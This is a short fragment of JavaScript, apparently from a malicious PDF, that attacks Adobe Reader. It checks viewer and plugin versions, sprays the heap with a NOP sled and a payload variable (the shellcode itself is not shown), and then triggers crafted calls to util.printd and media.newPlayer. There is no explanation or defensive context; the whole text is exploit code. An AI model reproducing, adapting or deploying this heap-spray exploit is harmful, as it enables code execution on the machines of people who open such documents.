if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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